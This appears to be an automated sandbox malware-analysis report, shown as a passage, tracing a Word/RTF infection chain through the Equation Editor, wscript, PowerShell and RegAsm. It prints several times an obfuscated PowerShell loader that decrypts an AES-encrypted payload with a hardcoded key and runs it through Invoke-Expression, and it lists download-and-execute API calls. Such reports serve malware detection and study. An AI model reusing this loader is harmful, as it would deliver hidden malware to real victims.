yHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Suspicious powershell command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041CB50
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FE50 push ebp; ret 2_2_0053FF12
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0055625A push esp; ret 2_2_005562A7
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FA44 push ebp; ret 2_2_0053FA62
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FC4D push ebp; ret 2_2_0053FC6A
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FC74 push ebp; ret 2_2_0053FCBA
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_00544C67 push FFFFFFA3h; ret 2_2_00544CA2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FA6D push ebp; ret 2_2_0053FA8A
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FA1C push ebp; ret 2_2_0053FA3A
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_00556C30 push ebx; ret 2_2_00556C33
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FEC0 push bp; ret 2_2_0053FEC2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FCC4 push ebp; ret 2_2_0053FCE2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_00555CFA push ecx; ret 2_2_00555CFB
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FAE4 push ebp; ret 2_2_0053FB02
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FCEE push ebp; ret 2_2_0053FD0A
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FA94 push ebp; ret 2_2_0053FAB2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FABC push ebp; ret 2_2_0053FADA
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_005562AD push esp; ret 2_2_005562AF
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FB5C push ebp; ret 2_2_0053FB7A
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FF40 push ebp; ret 2_2_0053FF62
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_00548F60 push eax; retf 2_2_00548F61
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FD15 push ebp; ret 2_2_0053FCE2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FD15 push ebp; ret 2_2_0053FD32
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_00555D02 push ecx; ret 2_2_00555D03
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FB0E push ebp; ret 2_2_0053FB2A
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FD37 push ebp; ret 2_2_0053FD82
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FB35 push ebp; ret 2_2_0053FB52
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FF38 push ebp; ret 2_2_0053FF3A
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_00556BD1 push ebx; ret 2_2_00556C2B
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053FBD6 push ebp; ret 2_2_0053FBF2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0053F9C1 push ebp; ret 2_2_0053F9C2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_005401F4 push eax; retf 2_2_005401F5

              Persistence and Installation Behavior

              barindex
              Office drops RTF file
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile dump: ~WRD0000.tmp.0.drJump to dropped file
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile dump: ~WRD0000.tmp.0.drJump to dropped file
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00406EB0 ShellExecuteW,URLDownloadToFileW,8_2_00406EB0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,8_2_0041AA4A
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041CB50
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
